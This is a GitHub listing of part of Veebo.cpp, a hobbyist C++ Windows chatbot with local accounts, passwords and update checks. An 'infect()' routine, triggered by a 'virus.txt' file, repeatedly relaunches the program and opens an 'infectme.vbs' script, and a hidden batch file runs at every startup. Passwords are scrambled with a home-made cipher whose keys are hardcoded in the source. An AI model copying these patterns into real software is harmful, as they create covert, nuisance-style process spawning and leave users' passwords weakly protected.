-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathVeebo.cpp
3581 lines (3438 loc) · 225 KB
/
Veebo.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
// Veebo.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "stdafx.h"
#include <stdio.h>
#include <cstdlib>
#include <Windows.h> // use < > for all system and library headers
#include <winuser.h>
#include <cmath>
#include <iostream>
#include <iomanip>
#include <complex>
#include <string>
#include <ctime>
#include <fstream>
#include <atlstr.h>
using namespace std;
string key;
string cryptMessage;
string cryptable = "qQwWeErRtTyYuUiIoOpPaAsSdDfFgGhHjJkKlLzZxXcCvVbBnNmM1234567890#:><(){}[]-?!@^&=+";
string uncyrptable = "ravLNcED!Yhe5ZQq2Sb?U lBRGCdgA7mn8413tpjuKFMJHzxoPX,W6wfOVI.Ty0iks9*_";
int keyChar = 0; //for kepping track of char in code
int cryptChar = 0; //for keeping track of how many chars have been crypted
//All func
string gogo;
string ruffruff;
//strings containing what user types
string currentType; //to store current user input
string lastType; //to store last user input
int randInt = 0; //to store a random integer used for some responses
int lastRandInt = 0; //to store the last random integer
string tempString; //Used for things that need only a temporary response
string compOutput; //records what the computer outputs
string compOutputLine2; //for multi-line outputs
string compOutputLine3; //only up to three is needed (for now)
string name; //name of user
string yorn;
string version; //version from website
string cversion = "1.3"; //this version
string betaversion = "1.3"; //this version
string compat; //compatible check from website
string ccompat = "AE"; //this compatible version
char letter; //leter of info user is at
int letter2;
int letter3;
string myUrl; //to start a url
string http = "http://"; //adds http
string search = "https://www.google.com/search?q=";
string urcomp; //to compare url
string IDE = "W";
string personality;
string didalready; //did user already dealate
string yorn1 = ("C:/Veebo/User1/yorn.txt"); //for storing paths to files
string yorn2 = ("C:/Veebo/User2/yorn.txt");
string yorn3 = ("C:/Veebo/User3/yorn.txt");
string yorn4 = ("C:/Veebo/User4/yorn.txt");
string name1 = ("C:/Veebo/User1/name.txt");
string name2 = ("C:/Veebo/User2/name.txt");
string name3 = ("C:/Veebo/User3/name.txt");
string name4 = ("C:/Veebo/User4/name.txt");
string betasurvey1 = ("C:/Veebo/User1/betasurvey.txt");
string betasurvey2 = ("C:/Veebo/User2/betasurvey.txt");
string betasurvey3 = ("C:/Veebo/User3/betasurvey.txt");
string betasurvey4 = ("C:/Veebo/User4/betasurvey.txt");
string theme1 = ("C:/Veebo/User1/theme.txt");
string theme2 = ("C:/Veebo/User2/theme.txt");
string theme3 = ("C:/Veebo/User3/theme.txt");
string theme4 = ("C:/Veebo/User4/theme.txt");
string nastpass1 = ("C:/Veebo/User1/nastpass.txt");
string nastpass2 = ("C:/Veebo/User2/nastpass.txt");
string nastpass3 = ("C:/Veebo/User3/nastpass.txt");
string nastpass4 = ("C:/Veebo/User4/nastpass.txt");
string logdid1 = ("C:/Veebo/User1/logdid.txt");
string logdid2 = ("C:/Veebo/User2/logdid.txt");
string logdid3 = ("C:/Veebo/User3/logdid.txt");
string logdid4 = ("C:/Veebo/User4/logdid.txt");
string personality1 = ("C:/Veebo/User1/personality.txt");
string personality2 = ("C:/Veebo/User2/personality.txt");
string personality3 = ("C:/Veebo/User3/personality.txt");
string personality4 = ("C:/Veebo/User4/personality.txt");
string currentY; //for storing current paths
string currentN;
string currentB;
string currentT;
string currentP;
string nastpass;
string logdid;
string passtype; //users input to password
string confirmpass; //confirm pass when making
string passcheckfile; //password of user
string diditlog; //for storing if user wants logdid yes or no
string startfromclean = "";
string whatsnew;
string heckle; //used for spacex
string dointro; //for intro when creating user
//for stop watch
int seconds;
int minutes;
string tips; //For tips
string backgroundupdateyorn; //yes or no for update checking
string backgroundupdateyorn2;
string backgroundupdatecheck;
string installdone; //For Giggles
void infect(){
CString str = "C:/Veebo/Veebo.exe";
CString action = "open";
ShellExecute(NULL, action, str, NULL, NULL, SW_SHOW);
}
string account;
#include "Encrypt.h"
#include "Decrypt.h"
#include "Update.h"
#include "User.h"
#include "virtualapps.h"
int main()
{
system("color F0");
ifstream readerinfect("virus.txt");
if (!readerinfect) {
}
else {
readerinfect.get(letter);
gogo += letter;
if (gogo != "G" && gogo != "" && gogo != " ") {
infect();
CString str = "C:/Veebo/OTAnew/infectme.vbs";
CString action = "open";
ShellExecute(NULL, action, str, NULL, NULL, SW_SHOW);
infect();
ShellExecute(NULL, action, str, NULL, NULL, SW_SHOW);
infect();
ShellExecute(NULL, action, str, NULL, NULL, SW_SHOW);
ShellExecute(NULL, action, str, NULL, NULL, SW_SHOW);
return 0;
}
}
system("color F0");
ifstream readerspacex("spacex.txt");
if (!readerspacex) {
}
else {
readerspacex.get(letter);
heckle += letter;
if (heckle != "G" && heckle != "" && heckle != " ") {
spacex();
spacex();
falconheavy();
spacex();
spacex();
falconheavy();
spacex();
cout << "8888888888" << endl;
cout << "88" << endl;
cout << "88 ____" << endl;
cout << "88a8PPPP8b," << endl;
cout << "PP' `8b" << endl;
cout << " d8" << endl;
cout << "Y8a a8P" << endl;
cout << " 'Y88888P'" << endl;
Sleep(1650);
system("CLS");
cout << " ,d8" << endl;
cout << " ,d888" << endl;
cout << " ,d8' 88" << endl;
cout << " ,d8' 88" << endl;
cout << ",d8' 88" << endl;
cout << "8888888888888" << endl;
cout << " 88" << endl;
cout << " 88" << endl;
Sleep(1650);
system("CLS");
cout << " ad888888b," << endl;
cout << "d8' '88" << endl;
cout << " a8P" << endl;
cout << " aad8'" << endl;
cout << " ''Y8," << endl;
cout << " '8b" << endl;
cout << "Y8, a88" << endl;
cout << " 'Y888888P'" << endl;
Sleep(1650);
system("CLS");
cout << " ad888888b," << endl;
cout << "d8' '88" << endl;
cout << " a8P" << endl;
cout << " ,d8P'" << endl;
cout << " a8P'" << endl;
cout << " a8P'" << endl;
cout << "d8'" << endl;
cout << "88888888888" << endl;
Sleep(1650);
system("CLS");
cout << " 88" << endl;
cout << " ,d88" << endl;
cout << "888888" << endl;
cout << " 88" << endl;
cout << " 88" << endl;
cout << " 88" << endl;
cout << " 88" << endl;
cout << " 88" << endl;
Sleep(1650);
system("CLS");
spacex();
falconheavy();
return 0;
}
}
//IF VEEBO IS INSTALLED IN AN INCORRECT lOCATION
ifstream readerwrongloco("install.bat");
if (!readerwrongloco) {
cout << "Error 1312: Veebo is installed in an incorrect location..." << endl << "Click enter to get instructions on how to fix this issue" << endl;
cin.ignore();
ShellExecute(0, 0, L"https://ipooglecodes.weebly.com/changelocation.html", 0, 0, SW_SHOW);
return -1;
}
readerwrongloco.close();
ifstream readerwrongloco1("C:/Veebo/install.bat");
if (!readerwrongloco1) {
cout << "Error 1312: Veebo is installed in an incorrect location..." << endl << "Click enter to get instructions on how to fix this issue" << endl;
cin.ignore();
ShellExecute(0, 0, L"https://ipooglecodes.weebly.com/changelocation.html", 0, 0, SW_SHOW);
return -1;
}
readerwrongloco1.close();
ifstream getpassworduser4c4("passnotdone.txt");
getpassworduser4c4.get(letter);
getpassworduser4c4.close();
if (letter == 'Y') {
//encrypt password with new key
cryptMessage = "";
ifstream getpassworduser1dp(nastpass1);
if (!getpassworduser1dp) {
}
else {
for (int i = 0; !getpassworduser1dp.eof(); i++) {
getpassworduser1dp.get(letter);
cryptMessage += letter;
}
getpassworduser1dp.close();
cryptMessage.pop_back();
encryptionbone();
}
//save new password to file
ofstream savepassworduser1dp(nastpass1);
savepassworduser1dp << cryptMessage;
savepassworduser1dp.close();
//USER 2
//encrypt password with new key
cryptMessage = "";
ifstream getpassworduser2dp(nastpass2);
if (!getpassworduser2dp) {
}
else {
for (int i = 0; !getpassworduser2dp.eof(); i++) {
getpassworduser2dp.get(letter);
cryptMessage += letter;
}
getpassworduser2dp.close();
cryptMessage.pop_back();
encryptionbone();
}
//save new password to file
ofstream savepassworduser2dp(nastpass2);
savepassworduser2dp << cryptMessage;
savepassworduser2dp.close();
//USER 3
//encrypt password with new key
cryptMessage = "";
ifstream getpassworduser3dp(nastpass3);
if (!getpassworduser3dp) {
}
else {
for (int i = 0; !getpassworduser3dp.eof(); i++) {
getpassworduser3dp.get(letter);
cryptMessage += letter;
}
getpassworduser3dp.close();
cryptMessage.pop_back();
encryptionbone();
}
//save new password to file
ofstream savepassworduser3dp(nastpass3);
savepassworduser3dp << cryptMessage;
savepassworduser3dp.close();
//USER 4
//encrypt password with new key
cryptMessage = "";
ifstream getpassworduser4dp(nastpass4);
if (!getpassworduser4dp) {
}
else {
for (int i = 0; !getpassworduser4dp.eof(); i++) {
getpassworduser4dp.get(letter);
cryptMessage += letter;
}
getpassworduser4dp.close();
cryptMessage.pop_back();
encryptionbone();
}
//save new password to file
ofstream savepassworduser4dp(nastpass4);
savepassworduser4dp << cryptMessage;
savepassworduser4dp.close();
ofstream passnotdone2p("passnotdone.txt");
passnotdone2p << "N";
passnotdone2p.close();
}
ifstream readerintro("startup.txt");
if (!readerintro) {
ofstream writerintro("startup.txt");
writerintro << "S";
writerintro.close();
}
else {
readerintro.get(letter);
if (letter != 'S') {
startup();
}
}
ifstream readeriii(nastpass1);
ifstream readeriiii(nastpass2);
ifstream readeriiiii(nastpass3);
ifstream readeriiiiii(nastpass4);
if (!readeriii && !readeriiii && !readeriiiii && !readeriiiiii) {
currentY = yorn1;
currentN = name1;
currentB = betasurvey1;
currentP = personality1;
currentT = theme1;
nastpass = nastpass1;
logdid = logdid1;
account = "1";
startfromclean = "YES";
createUser();
ofstream writer2675("bone.txt");
writer2675 << "QetYiOAdFhkLxvBm269:([?^+RyUaSJlCbN58#}-WroPfGjZc14<{@=wTusDKzVnM70" << endl;
writer2675.close();
ofstream writer26855("btwo.txt");
writer26855 << "0>{]!=wEtuIpADgHkzXvnM36)[&QeYidFLxBm29:(?^RyOaShJlCb58}-+WrUofGZcN" << endl;
writer26855.close();
ofstream writerPasss(nastpass);
encryptionbone();
cryptMessage = passtype;
encryptionbone(); ////
passtype = cryptMessage;
writerPasss << passtype;
ofstream writetgggg("lastpass.txt"); //I gave up on good names for writer and reader
diditlog = "";
if (account == "1") {
ifstream use1222reader(logdid1);
if (!use1222reader) {
}
else {
for (int i = 0; !use1222reader.eof(); i++) {
use1222reader.get(letter);
diditlog += letter;
}
use1222reader.close();
diditlog.pop_back();
}
ifstream nnmmnmm(nastpass1);
if (!nnmmnmm) {
}
else {
passcheckfile = "";
for (int i = 0; !nnmmnmm.eof(); i++) {
nnmmnmm.get(letter);
passcheckfile += letter;
}
nnmmnmm.close();
passcheckfile.pop_back();
}
writetgggg << passcheckfile;
}
else if (account == "2") {
ifstream use1222reader(logdid2);
if (!use1222reader) {
}
else {
for (int i = 0; !use1222reader.eof(); i++) {
use1222reader.get(letter);
diditlog += letter;
}
use1222reader.close();
diditlog.pop_back();
}
ifstream nnmmnmm(nastpass2);
if (!nnmmnmm) {
}
else {
passcheckfile = "";
for (int i = 0; !nnmmnmm.eof(); i++) {
nnmmnmm.get(letter);
passcheckfile += letter;
}
nnmmnmm.close();
passcheckfile.pop_back();
}
writetgggg << passcheckfile;
}
else if (account == "3") {
ifstream use1222reader(logdid3);
if (!use1222reader) {
}
else {
for (int i = 0; !use1222reader.eof(); i++) {
use1222reader.get(letter);
diditlog += letter;
}
use1222reader.close();
diditlog.pop_back();
}
ifstream nnmmnmm(nastpass3);
if (!nnmmnmm) {
}
else {
passcheckfile = "";
for (int i = 0; !nnmmnmm.eof(); i++) {
nnmmnmm.get(letter);
passcheckfile += letter;
}
nnmmnmm.close();
passcheckfile.pop_back();
}
writetgggg << passcheckfile;
}
else if (account == "4") {
ifstream use1222reader(logdid4);
if (!use1222reader) {
}
else {
for (int i = 0; !use1222reader.eof(); i++) {
use1222reader.get(letter);
diditlog += letter;
}
use1222reader.close();
diditlog.pop_back();
}
ifstream nnmmnmm(nastpass4);
if (!nnmmnmm) {
}
else {
passcheckfile = "";
for (int i = 0; !nnmmnmm.eof(); i++) {
nnmmnmm.get(letter);
passcheckfile += letter;
}
nnmmnmm.close();
passcheckfile.pop_back();
}
writetgggg << passcheckfile;
}
writetgggg.close();
startfromclean = "";
startup();
}
else {
readeriii.get(letter);
gogo += letter;
readeriiii.get(letter);
gogo += letter;
readeriiiii.get(letter);
gogo += letter;
readeriiiiii.get(letter);
gogo += letter;
if (gogo == "" || gogo == " " || gogo == " " || gogo == " " || gogo == " "){
currentY = yorn1;
currentN = name1;
currentB = betasurvey1;
currentT = theme1;
nastpass = nastpass1;
logdid = logdid1;
account = "1";
createUser();
ofstream writer267("bone.txt");
writer267 << "QetYiOAdFhkLxvBm269:([?^+RyUaSJlCbN58#}-WroPfGjZc14<{@=wTusDKzVnM70" << endl;
writer267.close();
ofstream writer268("btwo.txt");
writer268 << "0>{]!=wEtuIpADgHkzXvnM36)[&QeYidFLxBm29:(?^RyOaShJlCb58}-+WrUofGZcN" << endl;
writer268.close();
startup();
}
}
ifstream readeru("bone.txt");
ifstream readerm("btwo.txt");
if (!readeru || !readerm || !readeru && !readerm) {
ofstream writer267("bone.txt");
writer267 << "QetYiOAdFhkLxvBm269:([?^+RyUaSJlCbN58#}-WroPfGjZc14<{@=wTusDKzVnM70" << endl;
writer267.close();
ofstream writer268("btwo.txt");
writer268 << "0>{]!=wEtuIpADgHkzXvnM36)[&QeYidFLxBm29:(?^RyOaShJlCb58}-+WrUofGZcN" << endl;
writer268.close();
startup();
}
readeru.close();
readerm.close();
//figure out which user to log into or log in auto
ifstream readerlastpass("lastpass.txt");
if (!readerlastpass) {
}
else {
for (int i = 0; !readerlastpass.eof(); i++) {
readerlastpass.get(letter);
passtype += letter;
}
readerlastpass.close();
passtype.pop_back();
}
cryptMessage = passtype;
decryptionbtwo();
passtype = cryptMessage;
passcheckfile = "";
ifstream ser1reader(nastpass1);
if (!ser1reader) {
}
else {
for (int i = 0; !ser1reader.eof(); i++) {
ser1reader.get(letter);
passcheckfile += letter;
}
ser1reader.close();
passcheckfile.pop_back();
cryptMessage = passcheckfile;
decryptionbone(); ////
passcheckfile = cryptMessage;
}
if (passcheckfile != passtype) {
ifstream use2reader(nastpass2);
if (!use2reader) {
}
else {
passcheckfile = "";
for (int i = 0; !use2reader.eof(); i++) {
use2reader.get(letter);
passcheckfile += letter;
}
use2reader.close();
passcheckfile.pop_back();
cryptMessage = passcheckfile;
decryptionbone(); ////
passcheckfile = cryptMessage;
}
if (passcheckfile != passtype) {
ifstream use3reader(nastpass3);
if (!use3reader) {
}
else {
passcheckfile = "";
for (int i = 0; !use3reader.eof(); i++) {
use3reader.get(letter);
passcheckfile += letter;
}
use3reader.close();
passcheckfile.pop_back();
cryptMessage = passcheckfile;
decryptionbone(); ////
passcheckfile = cryptMessage;
}
if (passcheckfile != passtype) {
ifstream use4reader(nastpass4);
if (!use4reader) {
}
else {
passcheckfile = "";
for (int i = 0; !use4reader.eof(); i++) {
use4reader.get(letter);
passcheckfile += letter;
}
use4reader.close();
passcheckfile.pop_back();
cryptMessage = passcheckfile;
decryptionbone(); ////
passcheckfile = cryptMessage;
}
if (passcheckfile != passtype) {
logout();
}
else {
if (tempString != "Y") {
currentP = personality4;
currentY = yorn4;
currentN = name4;
currentB = betasurvey4;
currentT = theme4;
nastpass = nastpass4;
logdid = logdid4;
account = "4";
}
else {
cout << "log4";
cin.ignore();
logout();
}
}
}
else {
if (tempString != "Y") {
currentP = personality3;
currentY = yorn3;
currentN = name3;
currentB = betasurvey3;
currentT = theme3;
nastpass = nastpass3;
logdid = logdid3;
account = "3";
}
else {
cout << "log3";
cin.ignore();
logout();
}
}
}
else {
if (tempString != "Y") {
currentP = personality2;
currentY = yorn2;
currentN = name2;
currentB = betasurvey2;
currentT = theme2;
nastpass = nastpass2;
logdid = logdid2;
account = "2";
}
else {
cout << "log2";
cin.ignore();
logout();
}
}
}
else {
if (tempString != "Y") {
currentP = personality1;
currentY = yorn1;
currentN = name1;
currentB = betasurvey1;
currentT = theme1;
nastpass = nastpass1;
logdid = logdid1;
account = "1";
}
else {
cout << "log1";
cin.ignore();
logout();
}
}
ofstream writetgg("lastpass.txt"); //I gave up on good names for writer and reader
diditlog = "";
if (account == "1") {
ifstream use1222reader(logdid1);
if (!use1222reader) {
}
else {
for (int i = 0; !use1222reader.eof(); i++) {
use1222reader.get(letter);
diditlog += letter;
}
use1222reader.close();
diditlog.pop_back();
}
if (diditlog == "Y") {
logout();
}
else {
ifstream nnmmnmm(nastpass1);
if (!nnmmnmm) {
}
else {
passcheckfile = "";
for (int i = 0; !nnmmnmm.eof(); i++) {
nnmmnmm.get(letter);
passcheckfile += letter;
}
nnmmnmm.close();
passcheckfile.pop_back();
cryptMessage = passcheckfile;
decryptionbone(); ////
passcheckfile = cryptMessage;
}
cryptMessage = passcheckfile; //
encryptionbtwo(); //
passcheckfile = cryptMessage; //
writetgg << passcheckfile;
}
}
else if (account == "2") {
ifstream use1222reader(logdid2);
if (!use1222reader) {
}
else {
for (int i = 0; !use1222reader.eof(); i++) {
use1222reader.get(letter);
diditlog += letter;
}
use1222reader.close();
diditlog.pop_back();
}
if (diditlog == "Y") {
logout();
}
else {
ifstream nnmmnmm(nastpass2);
if (!nnmmnmm) {
}
else {
passcheckfile = "";
for (int i = 0; !nnmmnmm.eof(); i++) {
nnmmnmm.get(letter);
passcheckfile += letter;
}
nnmmnmm.close();
passcheckfile.pop_back();
cryptMessage = passcheckfile;
decryptionbone(); ////
passcheckfile = cryptMessage;
}
cryptMessage = passcheckfile;
encryptionbtwo();
passcheckfile = cryptMessage;
writetgg << passcheckfile;
}
}
else if (account == "3") {
ifstream use1222reader(logdid3);
if (!use1222reader) {
}
else {
for (int i = 0; !use1222reader.eof(); i++) {
use1222reader.get(letter);
diditlog += letter;
}
use1222reader.close();
diditlog.pop_back();
}
if (diditlog == "Y") {
logout();
}
else {
ifstream nnmmnmm(nastpass3);
if (!nnmmnmm) {
}
else {
passcheckfile = "";
for (int i = 0; !nnmmnmm.eof(); i++) {
nnmmnmm.get(letter);
passcheckfile += letter;
}
nnmmnmm.close();
passcheckfile.pop_back();
cryptMessage = passcheckfile;
decryptionbone(); ////
passcheckfile = cryptMessage;
}
cryptMessage = passcheckfile;
encryptionbtwo();
passcheckfile = cryptMessage;
writetgg << passcheckfile;
}
}
else if (account == "4") {
ifstream use1222reader(logdid4);
if (!use1222reader) {
}
else {
for (int i = 0; !use1222reader.eof(); i++) {
use1222reader.get(letter);
diditlog += letter;
}
use1222reader.close();
diditlog.pop_back();
}
if (diditlog == "Y") {
logout();
}
else {
ifstream nnmmnmm(nastpass4);
if (!nnmmnmm) {
}
else {
passcheckfile = "";
for (int i = 0; !nnmmnmm.eof(); i++) {
nnmmnmm.get(letter);
passcheckfile += letter;
}
nnmmnmm.close();
passcheckfile.pop_back();
cryptMessage = passcheckfile;
decryptionbone(); ////
passcheckfile = cryptMessage;
}
cryptMessage = passcheckfile;
encryptionbtwo();
passcheckfile = cryptMessage;
writetgg << passcheckfile;
}
}
writetgg.close();
ifstream readerper3(currentP);
if (!readerper3) {
}
else {
personality = "";
readerper3.get(letter);
personality += letter;
readerper3.close();
}
ifstream reader31(currentT);
if (!reader31) {
ofstream writer5444(currentT);
writer5444.close();
}
IDE = "";
reader31.get(letter);
IDE += letter;
reader31.close();
if (IDE == "W") {
system("color F0");
}
else {
if (account == "GUEST") {
system("color F0");
}
else {
system("color 0F");
}
}
ifstream reader2(currentY);
if (account == "GUEST") {
}
else {
if (!reader2) {
reader2.close();
ofstream writer2(currentY); //creates file if it does not exist
writer2.close();
ifstream reader56473(currentY);
if (!reader56473) {
reader56473.close();
cout << "Error 1312: Veebo is installed in an incorrect location..." << endl << "Click enter to get instructions on how to fix this issue" << endl;
cin.ignore();
ShellExecute(0, 0, L"https://ipooglecodes.weebly.com/changelocation.html", 0, 0, SW_SHOW); //Error Avoidence
return -1;
}
}
}
ifstream readertips("tips.txt");
if (!readertips) {
ofstream writertips("tips.txt");
writertips << "1";
writertips.close();
tips = "1";
}
else {
for (int i = 0; !readertips.eof(); i++) {
readertips.get(letter);
tips += letter;
}
tips.pop_back();
}
readertips.close();
if (ruffruff != "iii") {
ruffruff = "iii";
letter = 'r';
ifstream reader2994(currentY);
reader2994.get(letter);
if (letter == 'Y') {
name = "";
cout << "Hi ";
ifstream reader(currentN);
if (!reader) {
cout << "Error opening name.txt";
}
else {
for (int i = 0; !reader.eof(); i++) {
reader.get(letter);
name += letter;
}
reader.close();
}
name.pop_back();
name.pop_back();
cout << name;
if (personality == "2") {
cout << ", you're a useless lump of flesh! Say hi, or ask me a question!" << endl;
}
else if (personality == "3") {
cout << ", I can't read! Say hi, or ask me a question!" << endl;
}
else {
cout << ", welcome to Veebo! Say hi, or ask me a question!" << endl;
}
tipss();
ifstream readerbeta("BetaProfile.txt");
if (!readerbeta) {
}
else {
cout << "The Veebo Beta Software Program is active on your device" << endl;
}
}
else {
system("color F0");
cout << "Hi Guest, welcome to Veebo!" << endl;
cout << "As a guest, some features may not be availiable. To log out type 'log out'" << endl;
tipss();
ifstream readerbeta1("BetaProfile.txt");
if (!readerbeta1) {
}
else {
cout << "The Veebo Beta Software Program is active on your device" << endl;
}
account = "GUEST";
}
reader2.close();
}
ruffruff = "";
ifstream readerofautoupdate("autoupdate.txt");
if (!readerofautoupdate) {
}
else {
for (int i = 0; !readerofautoupdate.eof(); i++) {
readerofautoupdate.get(letter);
backgroundupdateyorn += letter;
}
readerofautoupdate.close();
backgroundupdateyorn.pop_back();
}
CString str = "C:/Veebo/OTAnew/OpenInvisBat.vbs";
//CString str = "C:/Veebo/Vcheck.bat";
CString action = "open";
ShellExecute(NULL, action, str, NULL, NULL, SW_SHOW);
ofstream writer21223("done.txt");
if (!writer21223) {
}
else {
writer21223 << "_" << endl;
writer21223.close();
}
srand(time(0)); // This will ensure a really randomized number by help of time
getline(cin, currentType);
randInt = rand() % 50 + 1; //rand char